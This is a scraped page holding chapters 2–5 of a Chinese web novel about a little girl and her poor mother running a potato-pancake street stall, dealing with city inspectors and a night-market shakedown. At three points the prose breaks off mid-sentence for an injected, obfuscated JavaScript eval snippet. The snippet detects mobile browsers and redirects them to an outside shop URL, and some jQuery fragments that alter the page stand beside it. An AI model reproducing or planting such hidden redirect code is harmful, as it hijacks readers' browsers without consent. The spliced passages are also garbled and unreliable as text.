《厨神崽崽,摆摊爆红》 2. 土豆饼与第一分功德 答应了摆摊,问题就落回现实——锅碗瓢盆、炉子油盐,哪样不要钱? 宋听雅盯着手机里那点可怜的余额,又一次点开招聘软件。 午后三点的阳光斜斜照进出租屋,水泥地上切出一格一格的光,像把人也切得支离。 “很抱歉,这个职位已经招到更合适的人选。” 同样的话,她今天已经看了三遍。 宋听雅把手机扣在膝盖上,长长叹了口气。她不敢叹太大声,怕客厅里那只小崽崽听见。 可下一秒,门框边探出半个小脑袋。 “妈妈。”宋如淼扒着门沿,琥珀色的眼睛亮得像两粒糖,“淼淼想看电视。” 宋听雅愣了愣。家里那台旧电视很久没开了——省电只是借口,真正的原因是她不想听任何热闹。 可女儿的眼睛太亮,她到底还是软下来:“想看什么?” “美食节目。”宋如淼答得理所当然,“昨天医院里那个,好看。” 宋听雅想起来了。留观区那台电视确实放过,美食节目里油一滋啦,香得人喉咙发紧。 她走过去按下开机键,老电视嗡了一声,画面闪了几下才稳住。 屏幕里主持人正摊土豆饼,金黄的一层油光,像把穷日子也照出一点暖。 宋如淼“哒哒哒”跑去厨房,又“哒哒哒”抱回来两个土豆,小手举得很高:“妈妈你看!楼上李奶奶给的!” 楼上李奶奶嘴上总说“顺手”,手却很实在,隔三差五塞点菜给她们。 宋听雅看着女儿小胳膊抱着土豆的模样,心口像被人轻轻拧了一下。 别的孩子想要玩具、零食、游乐园,她的淼淼想要的却是——学做饭。 她忍不住问:“淼淼为什么想学?” 宋如淼仰起小脸,认真到不像开玩笑:“因为妈妈很辛苦。淼淼会做饭,妈妈回家就能吃热乎乎的。” 一句话,软得像棉花,却扎得人发疼。 宋听雅眼眶一热,把女儿搂进怀里:“好,妈妈陪你学。” 节目很快讲完。宋如淼立刻从沙发上跳下来:“妈妈,我们试试!” 宋听雅下意识想拦:“可是家里——” “有面粉!”宋如淼已经翻开柜子,“还有盐!油也还有一点点!” 她搬来小板凳站在水池边,洗土豆时动作故意慢吞吞,水溅得台面都是。削皮削得一块厚一块薄,擦丝更是粗细不齐,像故意把“第一次”写在脸上。 宋听雅看得心疼又好笑:“妈妈来——” “不用!”宋如淼举着小手,郑重其事,“淼淼自己来。” 油倒进锅里时,宋听雅手都舍不得抖——油太贵了,她只能薄薄铺一层。 热油起声,“滋啦”一下,香气就漫出来。 宋如淼舀了一勺面糊,笨拙地倒下去,摊出来的形状歪歪扭扭,像张皱巴巴的小地图。 她小声嘀咕:“没摊圆……” “没事没事。”宋听雅赶紧安慰,“第一次嘛。” 宋如淼盯着边缘起色,嘴里还念着节目里的话:“等它变金黄……再翻……” 锅铲一翻,底面已经脆起,金色的边沿像被阳光烫过。 第一个土豆饼出锅,卖相一般,香气却很实在。 “妈妈尝尝!”宋如淼把饼掰成两半,递到宋听雅手里,小脸写满期待。 宋听雅咬了一口。 她整个人愣住。 外皮酥脆,里面软糯,土豆丝还带着一点嚼劲,咸淡恰好,油香不过分——明明是最便宜的食材,却像被点了灵。 她的喉咙忽然紧了,眼泪几乎是自己掉下来的。 “好吃……”宋听雅声音发颤,“淼淼,这真是你第一次?” 宋如淼眨眨眼,一本正经:“电视教得很清楚呀。” 宋听雅不敢再追问。她怕问下去,会把这点光也问没了。 第二个、第三个,女儿越做越顺。到第三个饼时,终于摊得圆圆的,厚薄均匀,金黄漂亮得像能拿去卖。 宋如淼举着饼转圈:“妈妈快看!淼淼会了!” 宋听雅看着那张小脸,忽然觉得,或许她们真的能从泥里爬出来一点。 晚上,宋如淼把多做的两个饼装进袋子,拉着宋听雅的手:“妈妈,我们给李奶奶送两个。” 李奶奶开门时还念叨:“哟,这么晚——” 话没说完,鼻尖先被香气勾住。 “奶奶,这是淼淼做的土豆饼!”宋如淼把袋子递过去,眼睛亮晶晶,“谢谢您给我们土豆。” 李奶奶咬了一口,眼睛当场亮了:“哎哟!这手艺……不得了!” 宋听雅尴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091469|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尬地摆手:“孩子瞎捣鼓跟电视里学的——” “这哪是瞎捣鼓!”李奶奶啧啧两声,越吃越香,“我孙子挑食得很,你这饼他保准爱吃。” 话音落下的瞬间,宋如淼指尖忽然一烫,像有人把一粒暖光塞进她掌心。 紧接着—— 叮。 一个陌生的提示音在她脑海里响起: “您的一分功德已到账。” 宋如淼:“?” 原来……给别人做顿热乎饭,也算功德,这么简单? 她正想再琢磨,李奶奶又一拍大腿:“对了!我不是实验小学家校通的小组长嘛,后天学校开运动会,说志愿者点心要征求意见。你这饼——要不做点给大家尝尝?” 宋听雅一愣:“啊?” “先做二十个!”李奶奶一锤定音,“我带去给大家尝尝。成了学校给你钱,不成,饼钱我出。” 二十个。 十几块材料。 那是她们一整天的菜钱。 宋听雅喉咙发紧,下意识想拒绝——可她一低头,对上一双亮晶晶的眼睛。 宋如淼悄悄把小手握成拳头,像在给她打气。 宋听雅终于点头:“……那就麻烦您了。” 回家的路上,她心里七上八下。 “妈妈别怕。”宋如淼牵着她的手,软软却笃定,“一定能成。” “为什么?”宋听雅几乎是下意识问。 宋如淼理直气壮:“因为淼淼做的好吃呀。好吃的东西,大家都会喜欢。” 宋听雅看着她,忽然笑了一下,笑里带点哽:“好。那我们就试试。” 第二天凌晨,天还没亮透,厨房里先亮起一盏小灯。 削皮、擦丝、调糊,锅里一张张饼摊开、翻面、出锅,香气在狭小的屋子里来回打转。 两个多小时后,二十个土豆饼整整齐齐排在案板上,金黄油亮,热气扑人。 宋听雅把它们装进保温袋时,手抖得厉害。 不是紧张。 是那种“活下去”的念头,忽然有了具象化。 她低头,看见宋如淼抱着她的腿,仰着小脸:“妈妈,会成功的。” 宋听雅蹲下身,在女儿额头亲了一下:“嗯,妈妈相信。” 保温袋拉链“咔哒”一声合上。 3. 淼淼小吃摊开张 宋如淼趴在窗台上,指尖无意识抠着窗框的木纹,目光追着那个提着保温袋的背影,直到它拐过街角,消失不见。 那袋子里装着二十个土豆饼。李奶奶说,先带去学校,让老师们尝个味。 功德。 那两个字在脑海里滚了一圈,到底怎么样才能攒到功德呢? 是让人吃得满足、吃的美味,就能攒到么? 那如果——让更多人吃得满足, 如果在很饿的时候,递出去一口吃的呢?是不是也是在积攒功德? 宋如淼把这些问题压回心里。司命伯伯总爱留半句不说透,她也不急,反正人间日子长,规则可以一点点试出来。 她从窗台跳下来,踮着脚去把厨房的盐罐扶正,又顺手把昨晚擦过的锅盖摆好。 背上书包一个人走去学校。 好不容易捱到下午。放学铃声刚响,宋如淼背着小书包第一个冲出教室,刚一到校门口就看见宋听雅站在老槐树下。 和平时不一样——眼睛亮得像刚洗过的星子,嘴角压不住地往上翘,连肩背都轻了。 “淼淼!” 她一把把女儿搂进怀里,声音压得低低的,却压不住那股雀跃,“定了!学校那边……真定了!” 宋如淼眨眨眼,适时露出一点茫然:“真的呀?” “土豆饼!”宋听雅掏出手机,手指发颤地点开收款记录,屏幕上清清楚楚一行字—— 【微信收款:¥300.00】 “你看20个土豆饼100,还收了200的定金,”宋听雅说到这里,像怕自己说大声就会碎,“李奶奶怕我们垫不起材料钱,让学校给了定金,明天——明天要两百个!” “两百个?”宋如淼睫毛一颤,像被这个数砸了一下。 “嗯!”宋听雅用力点头,眼眶却红了,“批量价四块一个,两百个就是八百。明天交货,再把剩下的六百结给我们。” 四块一个。 两百个。 八百块。 宋如淼在心里把数字轻轻一按,像把一块石头稳稳压进胸口——这不是天上掉下来的,这是她们用锅铲翻出来的。 “妈妈,那咱们现在去买材料?”她抬起脸,声音糯糯的,“要不然来不及。” “对!现在就去!”宋听雅把她抱起来掂了掂,笑得连眼角都软了,“走,咱们去菜市场。” 菜市场永远热闹。 土豆一麻袋一麻袋堆着,面粉袋子拍一下就扬起细白的粉。 宋听雅一路比价,一路心疼。她买得小心,生怕多花一块钱,又怕买少了做不够。 宋如淼站在她旁边,像个认真出主意的小军师:“土豆挑皮薄的,出丝多。面粉要筋一点,煎出来边缘才脆。” 宋听雅一边听一边点头,心里更酸——这孩子看个电视就记住这么多? 回到家时天已经擦黑。 塑料袋堆满一地,土豆沉甸甸的,面粉袋口扎得紧紧的,连油都只敢买小瓶小瓶的买——贵得要命,可不买不行。 厨房的灯亮到深夜。 削皮、擦丝、调糊。油热了,“滋啦”一声,香气就从锅里蹿出来。 宋听雅一开始还手忙脚乱,在淼淼的多次指挥下终于渐渐跟上节奏,分量、装袋、擦台面、把煎好的饼码进保温箱里。 宋如淼踩着小板凳站在灶前,小胳膊撑着锅铲,动作不快,却稳。她把火候掐得很准,边缘一圈金黄刚起,立刻翻面,反面也只要薄薄一层油光。 她不让自己“太神”。在觉得妈妈可以完全掌握后就撒娇的说累、说手腕发酸,这样才像一个六岁孩子的样子。 从深夜到清晨,最后一个饼出锅时,宋听雅眼圈通红,却笑得想要哭。 “淼淼,我们……真的做出来了。” 宋听雅把最后一个饼轻轻放进箱里,熬了粥,把煎的不好的饼又热了热,正好做她们母女的早餐。 校门口。 学校主任打开保温箱盖子。两百个饼码得整齐,表面金黄,边缘微脆,香气扑鼻。 “不错。”主任点点头,语气里带了点认真。 宋听雅站在旁边,手心全是汗的递上了二维码。 下一秒,她手机“叮”一声震动—— 【微信收款:¥600.00】 宋听雅盯着那串数字,像盯着一根突然落进掌心的救命绳。她吸了一口气,才把那口哽咽压下去:“谢谢您……谢谢。” 主任摆摆手:“你们手艺好,是你们应得的。以后运动会结束了,学校家长群也可能会有人想订。你们要是想做,留个微信给我。” 宋听雅忙不迭点头,连连说好。 宋如淼仰着脸看着妈妈。 她看见那种“被生活追着跑”的紧绷,第一次松了一点点。 她想:这就是希望的样子吧。 “妈妈,我去上学啦。”淼淼凑过去,在妈妈脸颊上“叭”地亲了一口,留下一点湿漉漉的凉。宋听雅笑着目送那小身影蹦跳着进了校门。 一整天,宋如淼的心思都飘在窗外。算术课本上的数字跳来跳去,最后总变成炒锅里的油花,好不容易熬到放学铃响,她第一个冲出教室。 放学的时候,她看见宋听雅身边多了一辆小推车。 铁皮车身旧得发灰,边角掉漆,推起来还会“咯吱”一声,可擦得干干净净。车上架着两个煤气灶,一口黑亮的大炒锅,一口平底锅,边上摞着几个塑料箱。 见淼淼出来,赶紧说:“李奶奶托旧货市场的人找的,车旧点,但架子结实。二百八十块——煤气罐也算上了。” 宋如淼绕着车走了一圈,伸手摸了摸冰凉的铁皮。 简陋,但能用,也是她们的“厨房”了。 宋听雅从袋子里掏出一块洗得发白的蓝布,又掏出一张塑封的收款码,贴在推车侧边。 她的动作很轻,像怕把这点好事贴歪了。 车身上五个红字刚写完,还没干透: 淼淼小吃摊。 宋如淼盯着那几个字看了两秒,忽然觉得鼻子有点酸。 她抬头,笑得甜:“妈妈,我可不止会土豆饼呢,那天在医院美食节目还讲了炒饼、炒饭呢,我都学会了。” “咱们呀先卖土豆饼,”宋听雅压低声音,像在说一个秘密,“家里还有剩下的土豆,五块一个,等明天妈妈再去买别的食材。” 宋如淼点点头:“好。” 摊位摆在学校西边的小巷。不是正街,可放学这会儿热闹,旁边还连着个小夜市。文具店老板娘探出头,笑眯眯的: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091470|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “摆吧摆吧,别挡我门就行。孩子们正缺个吃零嘴的地儿。” 才四点半,巷子还没完全醒。 宋如淼踩着小板凳,把食材一盆盆摆好,调料瓶挨个排开。最后,她把那个小玻璃瓶放到最顺手的位置——里面是黑褐色的酱,闻着不冲,偏偏鲜得要命。 “妈妈,开火。” 蓝色火苗“噗”地窜起来,舔着锅底。油一落锅,热浪立刻翻上来。 第一勺面糊下去,“滋啦”一声,香气像被点着一样往外窜。 路过的学生脚步一慢,今天还有好多同学没吃上这个饼呢。 牵着孙子的老人探头:“小丫头,这饼怎么卖?” “五块一个。”宋如淼踮脚把饼递过去,声音脆生生的,“刚出锅,小心烫。” 老人咬了一口,动作停了停,眼睛微微睁大:“咦?这味儿……正!” 就这一句,像把火点进油里。 “给我也来一个!” “我要两个,带走!” “阿姨扫码还是现金?” “扫码!” 宋听雅忙得手都抖:收钱、找零、装袋。偶尔也有人递来皱巴巴的纸币,她就把零钱压进铁皮钱盒里——旧的新的,都算日子。 宋如淼站在板凳上,锅铲翻得飞快。她不看那些数字,只看每一张脸: 有人咬下第一口,眉头松开; 有人边走边吃,脚步都轻了; 有人回头喊同学:“真好吃,你快来!” 那一丝丝暖意就从他们身上飘出来,像细线,悄悄缠到她心口。 只是在人群最热闹的时候,冷冰冰的声音忽然落下—— “让多人获得温热满足。功德+3。” 宋如淼手腕一顿,心里却更稳了。 原来不是“随便吃一口就算”。 得让人真的觉得好吃,吃饱,才会有分量。 她抬头看向天边。夕阳把巷子照得暖,油烟味和葱香混在一起,像把人间也煮得有滋有味。 收摊时,巷子里慢慢静下去。 铁皮钱盒沉甸甸的。宋听雅借着路灯的光一张张数,数到最后,嗓音发哑:“加上扫码支付的总共有三百多……淼淼,我们一晚上卖了这么多。” 她感觉就像做梦。 可那热乎乎的重量压在掌心里,不会骗人。 推车回家时,巷子空了。车轮碾过石板路,“咕噜咕噜”的声响在夜里传得很远。宋如淼牵着妈妈的衣角,影子被路灯拉得老长,叠在凹凸不平的地面上。 她回头看了一眼。几个小时前,这里还挤满了人。现在只剩一点淡淡的油香,飘在夜风里。 但她知道,明天这口锅还会热,香气还会起,人声还会涌过来。 她和妈妈会一点点把日子炒出滋味来。 走到楼下时,宋听雅忽然脚步一顿。 街角停着一辆黑色轿车,没开灯,像一块沉默的影子。 车窗里反着路灯光,看不清里面有没有人。 宋听雅下意识把宋如淼往身后带了半步,手指用力到发白。 宋如淼抬眼,心口那点暖光轻轻一跳。 ——她们的路,刚亮起来。 可故事里那条阴影,也许已经闻着香气,找过来了。 4. 黑车拍照,城管上门 生意一天比一天好。 “淼淼小吃摊”的招牌油烟一熏,红得更深一点,像被火烤出来的。 放学铃一响,小巷就像被什么无形的线牵住了。穿校服的学生抱着书包一路跑过来,接孩子的家长拎着保温杯站在队尾,下班路过的年轻人闻到香味,脚步会不自觉慢半拍,回头问一句:“这儿卖什么?” 宋如淼踩着小板凳站在锅前,灶火把她的小脸映得通红。锅铲在她手里不像厨具,倒像乐器,“嚓嚓嚓”刮着锅底,翻炒间带出利落的节奏。 炒面六块,炒饭五块,想加蛋加肠就再加两块。二维码贴在推车侧边,被风吹得微微翘角,宋听雅每隔一会儿就伸手按平,像怕它掉了,掉了就连着这点日子也掉了。 钱是一笔一笔攒出来的,功德也是。 多数时候它不出声,只在宋如淼心口积一层薄薄的热,像火星攒成一点灯。她翻锅翻得手腕发酸,那点热就稳稳贴着,不张扬,却让人心里踏实。 只有偶尔——有人吃完回头说“真香”,有人把她推荐给同学,或者有人从队尾挤过来急急忙忙买一份,说“我加班没吃饭,先垫一口”——那提示才会落下一声“叮”,像把小小的印章盖在她心口。 日子好像终于被灶火烤出了一点暖烘烘的甜味。 可自从那晚街角停过那辆黑车,宋听雅就总觉得有人在看。 有时她抬头,会撞见巷子口一闪而过的手机镜头——快得像错觉。她问宋如淼:“是不是我看花了?”宋如淼只把锅铲握得更紧一点,没吭声。 这天傍晚,天色阴沉,空气闷闷的,像要下雨却憋着。 临近收摊,队伍散得快。宋听雅弯腰收拾地上的杂物,把空矿泉水瓶捡进回收袋里。宋如淼踮着脚,拿旧抹布一点点擦锅沿的油渍,擦得很认真——她不喜欢油腻粘手,天宫膳房里从来没有这种“抹不干净”的脏。 就在这时,巷子口的光线忽然被几个人挡住了。 蓝制服,帽檐压得低,胸前别着工作牌。为首的是个中年男人,面皮绷得紧,目光从小推车扫到煤气罐,再扫到还没散尽的油烟,眉头立刻皱了起来。 “这儿不能摆摊。” 声音不高,却硬。 宋听雅手里的动作一下停住,脸色“唰”地白了。她几乎是本能地往前挪了半步,想把宋如淼挡到身后,嘴唇动了动,声音发干:“对、对不起,我们不知道……我们这就收,这就收。” “不知道?”旁边一个年轻些的城管抬手指了指巷口墙壁,“那儿贴着通告呢,片区这两天做市容整治,严禁设摊。你们这油烟、占道,卫生,都是问题。” 宋听雅顺着他指的方向看过去。 那张告示贴在墙上,边角卷着,字被雨水洇过一块。她平时来去匆匆,竟真的从没留意。 心一下子沉到了底,手脚都有些发凉。 这摊子,是她们母女眼下全部的生计。不能摆了,去哪儿?换地方谈何容易?新地方不熟,人不来,她们吃什么? 那些刚刚攒起来的一点希望,像被冷水兜头浇下。 宋听雅的手指蜷得发白,连道歉都说不利索:“我们马上走……今天就走……现在就走。” 中年城管看了她一眼,语气仍硬:“不是你说走就算。整治有标准——有人投诉,我们就得处理。你们这车也属于占道经营工具,按规定得暂扣。” “暂扣”两个字落下来,像一块冰砸进宋听雅胸口。 她下意识抓紧了推车的把手。铁皮冰凉,扎得掌心发疼,可她不敢松。那不是一辆车——那是她们母女这几天刚攒起来的命,是能换回米面油盐、能把日子撑下去的那口锅那点火。 她喉咙发紧,声音一下子就哑了:“别……别扣车。我们收,我们现在就收,马上走。您看孩子还小——” 她说到一半,自己都听见了那股失控的颤。 中年城管皱着眉,像是被她这一下的慌撞到,但仍旧板着脸:“规矩就是规矩。” 宋如淼从妈妈身后探出半个小脑袋,指尖轻轻拽了拽宋听雅的衣角,软软叫了一声:“妈妈。” 宋听雅回头,对上女儿那双琥珀色的眼睛。 没有害怕,没有慌,只有属于孩子的干净和一点点“我在”的笃定。 宋如淼没多说一句,转身从保温箱里拿出三个还温热的土豆饼。油纸包着,热气轻轻往外冒,香味朴素,却很实在——是人饿的时候最认的那种香。 她踮着脚走到中年城管面前,小手举得高高的,声音软糯却清楚:“叔叔,你们工作辛苦了。这个给你们吃。淼淼自己做的,很干净。” 巷子里安静了一瞬。 中年城管愣住了,像是没料到这一招。身后两个年轻同事也一时没了声,目光在饼和孩子之间来回,下意识想拒绝:“不用——” 年轻城管咬了咬牙,从口袋里掏出一张十块的纸币,弯腰递给宋如淼:“小朋友,我们买一个。” 宋如淼小眉头一皱:“淼淼送给叔叔的。” “我们不能白拿。你收着。” 他顿了顿,又飞快补了一句,“——你们换个正规点的地方。” 宋如淼抿了抿嘴,想了想,小声认真:“那你给妈妈,妈妈收。” 中年城管瞪了他一眼,看了看淼淼,又看了看宋听雅那张吓白的脸,最后目光落到推车上,像在衡量那条硬邦邦的规矩和眼前这点活气。 语气缓了些:“这里不能摆。片区整治这几天会很严,赶紧走,别再让我在这儿看到你们。” 宋听雅几乎是立刻点头,声音哽着:“好、好,我们马上走,马上走……谢谢您。” 年轻城管抬手指了个方向:“实在找不到地方,就去中山路夜市。那边有临时摊位,交管理费,正规一点,省得你们老被赶。” 走到巷口时,那个年轻的城管又回头补了一句:“注意安全。煤气罐扎紧,别漏。” 三个人的背影很快消失在巷子口。 宋听雅站在原地,像是腿软了,半晌才蹲下去,一把把宋如淼搂进怀里,抱得很紧。她的肩膀轻轻发抖,却把哭腔硬吞回去。 “妈妈,没事了。”宋如淼在她怀里小声说,小手轻轻拍着妈妈的背,“叔叔还告诉我们去哪儿呢。” 宋听雅抬起头,眼圈红得发亮,嗓子发哑:“淼淼……刚才……要是车真被拖走——” 她没说完,像是那句话太疼,说出来就会碎。 宋如淼仰起小脸,笑得干净,“妈妈,饼要凉了,你要不要吃一个?” 宋听雅喉咙一紧,点头:“好……我们一人一个。” 她咬下第一口时,外酥里嫩,咸香适口。那口热沿着喉咙往下滚,像把人心口那团冰一点点化开——不是多富贵的滋味,却是有人情的滋味。 也就在这一瞬,宋如淼脑海里一声“叮”贴着她心口掠过: ——功德+5。 宋如淼一怔。 平时不过+1、+2,怎么突然跳到+5? 她看着宋听雅咬着饼、眼神终于不再发空的那一瞬,心里慢慢明白: 原来功德也分轻重。 让人吃得香,是一分;可在快撑不住的时候,递出去这一口热——能把人从崩边拉回来,那才有分量,功德也会增加。 收拾推车的时候,两人动作比平时快。铁锅碰撞的声音在空荡的巷子里格外清晰,像敲在心上。 就在这时,隔壁文具店的老板娘王阿姨探出头来,手里还拿着半块抹布,眉毛一挑:“听雅,刚才那是城管?” 宋听雅点点头,苦笑:“说这里不能摆了。” “哎哟,这怎么回事?”王阿姨皱眉,往巷口看了眼,“这条巷子多少年了,之前也没见这么严啊。是不是有人举报了?” “举报……”宋听雅心里一紧。 王阿姨一把把声音压低,挤眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091471|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弄眼地凑过来:“我跟你说啊,前两天那辆黑车你见过没?就停街角那辆。车里坐着个女的,穿得可讲究了,手机镜头对着你们摊拍了好一会儿。” 宋听雅的脸色一点点白下去,指尖几乎没了温度。 她没问“是谁”,也没问“长什么样”。她只是嗓子发紧,轻轻问了一句:“她……车里只有她吗?” 王阿姨拍了下大腿:“你认识?是不是跟你不对付?要不说这人没事拍你们干嘛?不是闲得慌就是憋坏水。” 宋听雅却没接那句“认识”,只更低、更快地追了一句: “她身边……有没有别人?有没有男的跟着?” 宋如淼站在一旁,伸手抓住宋听雅的衣角,软软提醒:“妈妈,我们快回家吧,淼淼好累。” “对对,先回家。”王阿姨赶紧又说:“中山路夜市挺好的,我表妹在那儿卖饰品,说管理挺规范的。就是摊位费不便宜,一个月八百。” “八百……”宋听雅下意识在心里一算,两三天净利润——咬牙是能扛的,可那意味着她们得更拼,她倒无所谓,可是淼淼还小。 王阿姨摆摆手:“贵是贵,但正规。你们这手艺,过去那儿说不定卖更疯。别怕,换地方就换地方,人啊,总得往亮处走。” 宋听雅用力点头,声音低却稳:“谢谢王姐,我明天去看看。” “客气啥。”王阿姨咧嘴笑,“我还等着吃淼淼的炒面呢——回头给阿姨做一份,阿姨加蛋加肠,要个豪华版!” 宋如淼脆生生答:“好的呢,等您呦!” 那一声“好”出来,像把乌云缝里掏出一点光。 --- 推车回家的路上,母女俩都没怎么说话。 车轮碾过石板路,“咕噜咕噜”地响。今晚听来,比往常沉一点。 进了屋,关上那扇薄薄的木门,把夜色和未知的麻烦都关在外面,宋听雅才像卸了力气,靠在门板上,长长吐出一口气。 宋如淼把剩下的饼放到小茶几上,又倒了杯温水递过去:“妈妈喝口水。中山路摊位费贵一点没关系,只要能安稳做生意就好。” 宋听雅接过水,温水入喉,紧绷的神经才松缓了些。她看着女儿平静的小脸,声音哑哑的:“淼淼不怕辛苦,不怕累吗?” “不怕呀。”宋如淼认真摇头,“有妈妈在,淼淼一点都不怕。再说……我们有锅,有火,有手艺。地方总会有的。” 她顿了顿,像把一句更狠的话压进软糯里:“香味不认路,人会找过来。” 宋听雅看着她,忽然笑了一下,笑里带着哽:“嗯。明天妈妈去中山路看看,要是摊位费实在太高……我们再想别的办法。” “我和妈妈一起去。”宋如淼立刻举手,“我也会算账。” “好,一起去。”宋听雅揉了揉她的头发。 夜深了,宋听雅终于睡着,呼吸渐渐平稳。 宋如淼却没有立刻睡。她翻了个身,望着天花板上模糊的光影,心口那点热还在,像一盏小灯。 今天的事更像一记提醒: 她们的日子刚有点起色,就有人伸手来掐。 宋如淼悄悄攥紧被角。 不管是谁,不管发生什么,她都不会让任何人把她和妈妈好不容易守住的这点安稳掀翻。功德要攒,生活要继续。她会一点点把路铺出来,谁也挡不住。 窗外风起,像要落雨。 宋如淼侧过脸,透过窗帘缝隙往楼下看了一眼——街角那盏路灯下,停着一辆黑色轿车,没开灯,像一块沉默的影子。 车窗反着光,看不清里面有没有人。 可宋如淼知道,那不是巧合。 她慢慢收回视线,轻轻呼出一口气。 明天,要去找新的“地盘”了。 麻烦是麻烦,但没关系。 人间就是这样——难题一茬接一茬,可只要锅里有火,日子就总能炒出香来。 5. 规矩里的“规矩” 中山路夜市和学校后巷,截然不同。 白天来时,天光还亮,市场口已经开始拥挤:卖饰品的玻璃珠子在阳光下晃得人眼花;卖小吃的摊支着油布棚,孜然和辣椒粉的味道一阵阵冲出来;奶茶店外排着队,吸管戳破杯膜那一下“噗”,像给这条街又添了一口气。 宋听雅站在门口,手心潮得发黏。她牵着宋如淼,像牵着自己最后一点胆量。 电话铃救命似的响起来,是王阿姨:“听雅,你到门口没?我表妹出来接你。” “到、到了,王姐,太谢谢你了。” “客气啥。她姓吴,脾气直,你别介意。” 电话挂断没两分钟,一个女人就从人堆里风风火火挤出来——四十出头,短发利落,脖子上挂着条自制琉璃项链,走动时折出一串碎光。 她先把宋听雅上下打量一遍,又低头看宋如淼,眼睛立刻亮了:“哎哟,这就是淼淼?真俊!我姐说你家土豆饼一绝。” 宋如淼乖乖喊人:“吴阿姨好。” “好好好。”吴姐一把拉过宋听雅,边走边说,“摊位我给你问好了,37号,靠中间走道,别的先不说——人流量是真大。” 宋听雅一听“靠中间”,喉咙里那口紧气才松了半寸:“吴姐,管理费我知道是八百……” “嗯,八百是明面上的。”吴姐脚步一顿,压低声音,像怕这条街也长耳朵,“还有个规矩,你得明白。” 宋听雅心猛地一提:“什么规矩?” 吴姐往旁边努了努嘴。那边几个摊主凑在一起说笑,笑声很响,却像隔着层油烟:“夜市归市场管,市场归人管。张哥那边——新来的,总得意思意思。他让你在这片儿活得顺。” “意思意思……要多少?” “先三百。”吴姐叹口气,“你别问值不值,问就是——值。交了他不来找你麻烦,不交,他有一百种法子让你这摊做不下去:说你占道,说你人群拥挤,说你煤气不合规,说你卫生不合格,收你垃圾费……今天来一趟,明天来两趟,客人嫌麻烦就散了。” 三百。 宋听雅把这个数在心里咬了一下,酸得牙根发紧。她想说“不交”,可一低头,对上女儿那双琥珀色的眼睛——干净、亮,还带着一点“妈妈别怕”的稳。 她咬咬牙:“交。” 吴姐像松了口气,拍了拍她的肩:“行。你先把摊支起来,我去给你递个话,省得他一来你手忙脚乱。” 37号摊位果然不错。 棚子是固定的,顶上拉着防雨布,地面还划了白线。隔壁卖冰糖葫芦的大叔正在串山楂,竹签一扎一拔,动作麻利;另一边卖手机壳的小姑娘戴着耳机,抬眼冲她们点了点头,眼神里带点“新来的啊”的审视。 宋听雅把推车推进去,铁轮压过地面的小坑,“咯噔”一下,震得她心也跟着抖。 她深吸一口气,开始卸东西:煤气罐先扎紧,阀门又摸了一遍;锅架上去,平底锅擦得发亮;调料瓶排开,盐糖胡椒一字排过去,像摆阵。 宋如淼踮着脚,把那块招牌挂到棚前。 她又把收款码贴好,指腹按得很用力,像怕它一掉,她们这点日子也跟着掉了。 一切就绪,天色暗了下来。 灯一串串亮起,彩灯晃得人眼花,人流像潮水涌进来——情侣挽着手,孩子拽着父母,穿工装的男人边走边刷手机,拎着公文包的女孩停在每个摊前闻一闻。 宋听雅心里发虚,却还是把火点起来。 “噗——” 火苗窜起,油一落锅,热浪立刻翻上来,“滋啦”一声,香气像被点燃一样往外窜。 第一张土豆饼下锅的时候,隔壁大叔就忍不住嗅了嗅:“你这味儿——挺正啊。” 宋听雅忙笑:“试着做做,您别笑话。” 大叔把自家摊边的塑料凳往里挪了挪——给她们腾出一点站人排队的地方。 第一位客人是个扎马尾的学生,书包还没放下,鼻尖先被香勾住:“阿姨,这是什么?怎么卖?” “土豆饼,五块一个。” “来两个!” 手机“嘀”一声,【微信收款:¥10.00】跳出来。 那一行字比什么都管用。宋听雅胸口那根绷紧的线,松了松。 第二单、第三单紧跟着来。 “加蛋!” “加火腿肠!” “炒面有吗?我闻着像——” “有有有,炒面、炒饭都有。”宋听雅声音越来越稳,手也越来越快。 宋如淼踩着小板凳站在锅前。她刻意把动作放慢一点——新灶火候要试,新地方人多眼杂,她不能显得太“神”。 可香是藏不住的。 那香顺着热风往外走,绕过隔壁的糖葫芦甜、躲过奶茶的腻、越过孜然的冲,像有自己的脾气——专往人最饿、最馋、最想吃一口热乎的时候钻。 队伍很快排起来。 宋听雅忙得额头沁汗,却第一次在这条陌生的街上,尝到一点“我也能站稳”的踏实。 ——直到晚上八点半,人流最旺的时候。 两个男人晃到37号摊前。 为首的个子不高,肩膀却宽,黑T紧得像要绷开,脖子上挂条粗金链子,烟叼在嘴角,眼神先把摊位扫了一遍,再落在招牌上:“淼淼小吃摊——名字挺可爱。” 他身后跟着个板寸头,手插兜里,眼睛像钉子,专盯收款码和钱盒。 